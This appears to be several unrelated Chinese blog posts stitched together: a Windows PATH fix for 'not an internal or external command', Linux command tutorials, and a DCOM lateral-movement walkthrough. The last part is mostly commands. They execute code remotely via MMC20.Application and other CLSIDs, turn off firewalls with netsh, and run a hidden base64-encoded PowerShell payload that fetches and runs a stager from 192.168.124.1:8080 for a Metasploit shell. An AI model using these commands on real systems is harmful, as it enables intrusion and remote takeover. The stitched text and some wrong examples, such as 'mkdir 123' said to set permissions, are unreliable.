本文自2018年至今已累计有十八万余次的点击，并且博友的反馈很好。所以，希望能得到各位看官的支持！

如何支持？



两块四块不嫌少，二十五十会更好，一键三连好人一生平安！

 

 

'yarn' 不是内部或外部命令，也不是可运行的程序

ipconfig不是内部命令或外部命令

Python不是内部或外部命令的（完美解决）

 


不知不觉我跟这个“不是内部命令或外部命令，也不是可运行的程序”，打了好久的交道了，也大概摸清怎么搞定这个东西了，从最开始的用一上午去鼓捣它，到现在一分钟解决战斗，自然也是有些自己的心得。

后续我会将我发现的好玩的规律总结一下给大家尝尝鲜！


 

前言：

  相信有很多小伙伴都比较喜欢使用Command命令来快速的打开或运行程序，但是有些时候命令提示符会和我们开个小玩笑。今天我就教大家如何管教这个不听话的cmd！

 

 

场景：

  看有些大神在命令提示符里输入两句命令就能执行一大串东西，本着学习的态度，先试试再说！没成想出现了：“不是内部或外部命令，也不是可运行的程序或批处理文件。”

  

通过各种查各种找，终于发现问题的所在：原来是环境变量的配置出了问题，导致Command不能正确的执行命令。

首先：

确定是否能启动Command命令提示符！

我的电脑——右击选择属性——高级系统设置

 

选择环境变量

                   

然后：

找到名为ComSpec的变量，查看是否是 ：“%SystemRoot%\system32\cmd.exe”，如果不是请更改。（部分需要改成64）

（这意味着你是否能正常启动CMD）



关键：

然后找到名为PATH的变量，点击编辑：
“;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Windows\SysWOW64”
将其粘贴到PATH的后面（引号中的内容，包括分号）

 



最后:

记得保存一下，点击确定，重启Command命令提示符。

 

哒哒！大功告成，之前不能用的命令都可以玩了。希望可以帮助大家解决问题！

小结：

任何的限制，都是从内心开始的！

当你不再忍耐，不再克制，才会真正的成熟！

在做任何事情时，都要有坚定且清晰的目标，还要牢记目标！

 


            


       小编需要您的关注哦！您的赞是对我最大的鼓励！

今天学习了几个命令，是创建、删除文件和文件夹的，在linux里，文件夹是目录，下面说下我学习的命令。



创建文件夹【mkdir】

  一、mkdir命令使用权限

    所有用户都可以在终端使用 mkdir 命令在拥有权限的文件夹创建文件夹或目录。

    二、mkdir命令使用格式

    格式：mkdir [选项] DirName

    三、mkdir命令功能

    通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限(了解Linux文件-文件夹权限请点击这里)。并且，所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名，即同一个目录下不能有同名的(区分大小写)。

    四、mkdir命令选项说明

    命令中的［选项］一般有以下两种：

    -m    用于对新建目录设置存取权限，也可以用 chmod 命令进行设置。

    -p     需要时创建上层文件夹(或目录)，如果文件夹(或目录)已经存在，则不视为错误。

    五、mkdir命令使用举例

    例一：在桌面下面创建以“demo”命名的文件夹。

    使用以下命令即可。

    mkdir 桌面/demo

　 例二：在桌面下面创建以“demo”命名的文件夹，并且给文件夹赋权限，权限为123。

    mkdir  123  桌面/demo



删除文件夹【rm】

  一、rm命令使用权限

    所有用户都可以在终端使用 rm命令删除目录。

    二、rm命令使用格式

    格式：rm [选项] DirName

    三、rm命令功能

    删除档案及目录。

    四、rm命令选项说明

    命令中的［选项］一般有以下几种：

    -i 删除前逐一询问确认。

　 -f 即使原档案属性设为唯读，亦直接删除，无需逐一确认。

　 -r 将目录及以下之档案亦逐一删除,递归所有的子目录,逐一询问。

    五、rm命令使用举例

    例一：删除所有C语言程序文档；删除前逐一询问确认。

    rm -i *.c

　 例二：将 Finished 子目录及子目录中所有档案删除。

    rm -r Finished

 

 

     rm -f abc.txt的意思是说强制删除文件。如果文件不存在，也不要提示。这是因为如果直接使用rm abc.txt那么如果文件不存在，rm 会提示你。这在某些情况下，比如我们写一些小脚本，可能不需要他这样做。
rm -r abc 的意思是说递归所有的子目录。其中要求abc是一个目录名。这条rm运行后，abc目录下的所有子目录里的东西也会一同被删除。通常我们在删除一个目录时会使用rm -rf abc这样的形式，这就是说明删除目录abc，同时要求命令不要产生任何提示。

 

 

 

　 注：在linux没有回收站，在试用rm命令的时候，一定要小心些，删除之后就无法再恢复了。

创建文件【vi】

　 一、进入vi的命令

　    vi filename :打开或新建文件，并将光标置于第一行首

　    vi +n filename ：打开文件，并将光标置于第n行首

　   vi + filename ：打开文件，并将光标置于最后一行首

　   vi +/pattern filename：打开文件，并将光标置于第一个与pattern匹配的串处

　   vi -r filename ：在上次正用vi编辑时发生系统崩溃，恢复filename

　   vi filename....filename ：打开多个文件，依次进行编辑

　 二、移动光标类命令

　　h ：光标左移一个字符

　　l ：光标右移一个字符

　　space：光标右移一个字符

　　Backspace：光标左移一个字符

　　k或Ctrl+p：光标上移一行

　　j或Ctrl+n ：光标下移一行

　　Enter ：光标下移一行

　　w或W ：光标右移一个字至字首

　　b或B ：光标左移一个字至字首

　　e或E ：光标右移一个字至字尾

　　) ：光标移至句尾

　　( ：光标移至句首

　　}：光标移至段落开头

　　{：光标移至段落结尾

　　nG：光标移至第n行首

　　n+：光标下移n行

　　n-：光标上移n行

　　n$：光标移至第n行尾

　　H ：光标移至屏幕顶行

　　M ：光标移至屏幕中间行

　　L ：光标移至屏幕最后行

　　0：（注意是数字零）光标移至当前行首

　　$：光标移至当前行尾

　三、屏幕翻滚类命令

　　Ctrl+u：向文件首翻半屏

　　Ctrl+d：向文件尾翻半屏

　　Ctrl+f：向文件尾翻一屏

　　Ctrl＋b；向文件首翻一屏

　　nz：将第n行滚至屏幕顶部，不指定n时将当前行滚至屏幕顶部。

　四、插入文本类命令

　　i ：在光标前

　　I ：在当前行首

　　a：光标后

　　A：在当前行尾

　　o：在当前行之下新开一行

　　O：在当前行之上新开一行

　　r：替换当前字符

　　R：替换当前字符及其后的字符，直至按ESC键

　　s：从当前光标位置处开始，以输入的文本替代指定数目的字符

　　S：删除指定数目的行，并以所输入文本代替之

　　ncw或nCW：修改指定数目的字

　　nCC：修改指定数目的行

　五、删除命令

　　ndw或ndW：删除光标处开始及其后的n-1个字

　　do：删至行首

　　d$：删至行尾

　　ndd：删除当前行及其后n-1行

　　x或X：删除一个字符，x删除光标后的，而X删除光标前的

　　Ctrl+u：删除输入方式下所输入的文本

　六、搜索及替换命令

　　/pattern：从光标开始处向文件尾搜索pattern

　　?pattern：从光标开始处向文件首搜索pattern

　　n：在同一方向重复上一次搜索命令

　　N：在反方向上重复上一次搜索命令

　　：s/p1/p2/g：将当前行中所有p1均用p2替代

　　：n1,n2s/p1/p2/g：将第n1至n2行中所有p1均用p2替代

　　：g/p1/s//p2/g：将文件中所有p1均用p2替换

　七、vi命令使用举例

　　例一：创建文件a.txt。

　　vi a.txt

　　Hello everyone!

　　:wq //在退出时，直接输入:wq会发现退不出去，退出方法是：编辑完成后按ESC，然后输入:q就是退出;还有:wq是保存后退出，加感叹号是表示强制

　　

　　

　　

修改档案时间【touch】

　  一、touch命令使用权限

    所有用户都可以在终端使用 touch命令。

    二、touch命令使用格式

    格式：touch [-acfm][-d <日期时间>][-r <参考文件或目录>][-t <日期时间>][--help] [--version][文件或目录...] 或 touch [-acfm][--help][--version][日期时间][文件或目录...]

    （touch [-acfm][-r reference-file] [--file=reference-file][-t MMDDhhmm[[CC]YY][.ss]][-d time] [--date=time][--time={atime,access,use,mtime,modify}][--no-create][--help] [--version]file1 [file2 ...]）

    三、touch命令功能

　 touch fileA，如果fileA存在，使用touch命令可更改这个文件或目录的日期时间，包括存取时间和更改时间；如果fileA不存在，touch命令会在当前目录下新建一个空白文件fileA。

　 注：使用touch指令可更改文件或目录的日期和时间，包括存取时间和更改时间。文件的时间属性包括文件的最后访问时间，最后修改时间以及最后在磁盘上修改的时间，命令stat显示结果显示了三个时间属性。

    四、touch命令选项说明

    a 改变档案的读取时间记录。

　 m 改变档案的修改时间记录。

　 c 假如目的档案不存在，不会建立新的档案。与 --no-create 的效果一样。

　 f 不使用，是为了与其他 unix 系统的相容性而保留。

　 r 使用参考档的时间记录，与 --file 的效果一样。

　 d 设定时间与日期，可以使用各种不同的格式。

　 t 设定档案的时间记录，格式与 date 指令相同。[[CC]YY]MMDDhhmm[.SS]，CC为年数中的前两位，即”世纪数”;YY为年数的后两位，即某世纪中的年数.如果不给出CC的值，则linux中touch命令参数将把年数CCYY限定在1969--2068之内.MM为月数，DD为天将把年数CCYY限定在1969--2068之内.MM为月数，DD为天数，hh 为小时数(几点)，mm为分钟数，SS为秒数.此处秒的设定范围是0--61，这样可以处理闰秒.这些数字组成的时间是环境变量TZ指定的时区中的一个时间.由于系统的限制，早于1970年1月1日的时间是错误的.

　 --no-create 不会建立新档案。

　 --help 列出指令格式。

　 --version 列出版本讯息。

    五、touch命令使用举例

    例一：更新file1.txt的存取和修改时间。

　 touch file1.txt

　 例二：如果file1.txt不存在，不创建文件

　 touch -c file1.txt

　 例三：更新file1.txt的时间戳和ref+file相同

　 touch -r ref+file file1.txt

　 例四：设置文件的时间戳为2011年5月18日9点45分10秒

　 ls -l file1.txt

　 touch -t 1105190945.10 file1.txt



在新建文件时用touch命令可以建立一个空文件，而vi命令则可以直接编辑文件的内容并保存。touch命令在linux中很少用到，我个人还是比较喜欢vi命令，可以直接对文档进行编辑。

Linux中许多常用命令是必须掌握的，这里将我学linux入门时学的一些常用的基本命令分享给大家一下，希望可以帮助你们。


这个是我将鸟哥书上的进行了一下整理的，希望不要涉及到版权问题。


1、显示日期的指令： date






2、显示日历的指令：cal







3、简单好用的计算器：bc






怎么10/100会变成0呢？这是因为bc预设仅输出整数，如果要输出小数点下位数，那么就必须要执行 scale=number ，那个number就是小数点位数，例如：





4、重要的几个热键[Tab],[ctrl]-c, [ctrl]-d 


[Tab]按键---具有『命令补全』不『档案补齐』的功能


[Ctrl]-c按键---让当前的程序『停掉』


[Ctrl]-d按键---通常代表着：『键盘输入结束(End Of File, EOF 戒 End OfInput)』的意思；另外，他也可以用来取代exit


5、man
退出用q，
man -f man





6、数据同步写入磁盘： sync


输入sync，那举在内存中尚未被更新的数据，就会被写入硬盘中；所以，这个挃令在系统关机戒重新启劢乀前， 径重要喔！最好多执行几次！





7、惯用的关机指令：shutdown





此外，需要注意的是，时间参数请务必加入指令中，否则shutdown会自动跳到 run-level 1 (就是单人维护的登入情况)，这样就伤脑筋了！底下提供几个时间参数的例子吧：





重启，关机： reboot, halt,poweroff





8、切换执行等级： init


Linux共有七种执行等级：


--run level 0 :关机


--run level 3 :纯文本模式


--run level 5 :含有图形接口模式


--run level 6 :重新启动


 
使用init这个指令来切换各模式：


如果你想要关机的话，除了上述的shutdown -h now以及poweroff之外，你也可以使用如下的指令来关机：  





9、改变文件的所属群组：chgrp





10、改变文件拥有者：chown


他还可以顸便直接修改群组的名称





11、改变文件的权限：chmod




权限的设定方法有两种， 分别可以使用数字或者是符号来进行权限的变更。



--数字类型改变档案权限：





 
--符号类型改变档案权限：





12、查看版本信息等





13、变换目录：cd





14、显示当前所在目录：pwd





15、建立新目录：mkdir




 
不建议常用-p这个选项，因为担心如果你打错字，那么目录名称就回变得乱七八糟的
 
16、删除『空』的目录：rmdir





17、档案与目录的显示：ls






18、复制档案或目录：cp











19、移除档案或目录：rm







20、移动档案与目录，或更名：mv






21、取得路径的文件名与目录名：basename，dirname






22、由第一行开始显示档案内容：cat






23、从最后一行开始显示：tac（可以看出 tac 是 cat 的倒着写）





24、显示的时候，顺道输出行号：nl







25、一页一页的显示档案内容：more





26、与 more 类似，但是比 more 更好的是，他可以往前翻页：less





27、只看头几行：head





28、只看尾几行：tail





29、以二进制的放置读取档案内容：od






30、修改档案时间或新建档案：touch







31、档案预设权限：umask





32、配置文件档案隐藏属性：chattr







33、显示档案隐藏属性：lsattr





34、观察文件类型：file





35、寻找【执行挡】：which






36、寻找特定档案：whereis





37、寻找特定档案：locate





38、寻找特定档案：find






39、压缩文件和读取压缩文件：gzip，zcat






40、压缩文件和读取压缩文件：bzip2，bzcat






41、压缩文件和读取压缩文件：tar









 
 
好了，累死了，终于搞完了，希望能对的大家有所帮助。
 
 您的支持是对作者最大的鼓励！




 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

CATALOG
1.前言
2.实现过程
2.1通过DCOM在本机执行命令
2.2通过DCOM控制远程主机执行命令
2.3补充：
3.参考文章
4.防御方式

1.前言
实现命令执行的方式之前我写过文章来总结，前两天又发现了一个新方法DCOM，于是有了这篇文章。
2.实现过程
2.1通过DCOM在本机执行命令
实现条件：

管理员权限的powershell
查找DCOM组件MMC Application Class如下图，命令为

Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication |Where-Object{$_.Name -like "MM*"}


命令：
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")


ExecuteShellCommand对应的参数具体含义可参考以下链接：

https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx


2.2通过DCOM控制远程主机执行命令
实现条件：

管理员权限的powershell
客户端关闭防火墙
服务端需要域管的administrator账户或者目标主机具有管理员权限的账户
双方主机都需有MMC Application Class这个DCOM组件。

命令：

net use \\192.168.124.3 "123" /u:"test\administrator"
netsh -r 192.168.124.3 -u TEST\administrator -p 123 advfirewall set currentprofile firewallpolicy allowinbound,allowoutbound
#远程关闭防火墙不过一般会失败，默认不会开启远程管理防火墙的这个权限。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

# 有可能弹不出计算器，但是可以将命令改为:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c shutdown -r -t 1","Minimized")
发现远程主机会重启。

如果上述命令执行失败，很有可能是防火墙开启造成的，这时候我们可以通过impacket来获取远程主机的shell然后再进行防火墙的配置。
psexec.exe test/lisi:123@192.168.124.3
netsh advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state off
netsh advfirewall set currentprofile settings remotemanagement enable


第二种命令：
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.124.3")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

#测试成功，不需要对方主机的凭据，只需要当前主机的管理员权限即可。

第三种命令：
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.124.3")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

#测试成功，不需要对方主机的凭据，只需要当前主机的管理员权限即可。


2.3补充：
在192.168.124.2上执行命令，不需要执行net use命令：

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.124.3"))

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABjAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGMALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABjAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkALwBEAFEAMABKAHMAZABxAFIAUAAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgA0AC4AMQA6ADgAMAA4ADAALwBoAHgASAByAHMASABXAEYASABKADkAJwApACkAOwA=","Minimized")



在msf上监听，可以得到一个shell，这个shell是192.168.124.3的，登陆shell的用户为192.168.124.2的用户(我是在域环境测试的)。

192.168.124.2的大概环境：



msf上得到的shell：



如果在执行这些命令之前执行了net use命令，获得了一个有权限的IPC管道(例如使用域控的凭据连接目标主机)，得到的结果也是一样的，也就是说net use命令存在与否并不影响结果。
3.参考文章
域渗透-利用DCOM在远程系统执行程序
4.防御方式
开启域防火墙